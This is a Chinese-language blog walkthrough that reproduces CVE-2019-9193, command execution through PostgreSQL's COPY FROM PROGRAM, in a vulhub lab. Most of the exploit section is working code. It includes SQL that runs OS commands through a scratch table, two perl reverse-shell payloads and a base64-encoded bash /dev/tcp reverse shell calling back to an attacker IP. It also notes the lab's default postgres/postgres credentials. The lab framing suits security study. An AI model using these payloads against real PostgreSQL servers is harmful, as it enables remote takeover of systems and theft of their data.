PostgreSQL 高权限命令执行 (CVE-2019-9193)

在这里插入图片描述

漏洞原理

PostgreSQL是当下最流行的数据库系统之一,它是 Mac OSX系统下最常用的数据库,但同时也提供了Windows及Linux操作系统版本。(Kali下Metasploit用的就是PostgreSQL数据库).

漏洞成因是因为PostgreSQL的特性允许数据库的特定用户在PostgreSQL环境中执行任意代码并且在PostgreSQL 9.3-11.2版本中这个特性是默认开启的。
9.3版本开始PostgreSQL实现了COPY TO/FROM PROGRAM这个新的功能,它允许数据库的超级用户以及pg_read_server_files组用户执行任意的操作系统命令

漏洞复现

使用vulhub搭建环境

# 进入到该漏洞路径
cd postgres/CVE-2019-9193/
# 搭建及运行漏洞环境
docker-compose up -d

可以看到该漏洞开放在5423端口,我们使用kali连接它,默认账号密码为postgres/postgres
在这里插入图片描述

psql --host 127.0.0.1 -p 5432 -U postgres

已经连接上数据库
在这里插入图片描述

postgres数据库RCE有固定的命令如下

# 删除并创建用于保存系统命令执行结果的表 
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
 
# 命令执行测试,多试几条
COPY cmd_exec FROM PROGRAM 'id';
COPY cmd_exec FROM PROGRAM 'whoami';
 
# 查看结果
SELECT * FROM cmd_exec;

在这里插入图片描述
尝试反弹shell,环境里有perl,直接使用perl反弹shell失败

COPY cmd_exec FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.170.143:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

COPY cmd_exec FROM PROGRAM 'perl -e "use Socket;$i=\"192.168.170.143\";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"'

后来先将反弹shell命令base64编码再执行成功。

# base64编码
echo "bash -i >& /dev/tcp/192.168.170.143/2333 0>&1"|base64

# 执行sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MC4xNDMvMjMzMyAwPiYxCg=="|base64 -d|bash';

在这里插入图片描述在这里插入图片描述

参考

漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值